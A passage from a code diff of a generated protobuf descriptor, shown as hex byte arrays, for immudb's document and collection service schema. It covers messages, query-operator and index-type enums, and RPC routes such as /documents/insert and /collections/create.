0x3a, - 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, - 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, - 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, - 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, - 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, - 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, - 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, - 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, + 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, + 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, + 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, + 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, + 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, + 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, + 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, + 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, + 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, + 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, + 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, - 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, - 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, + 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 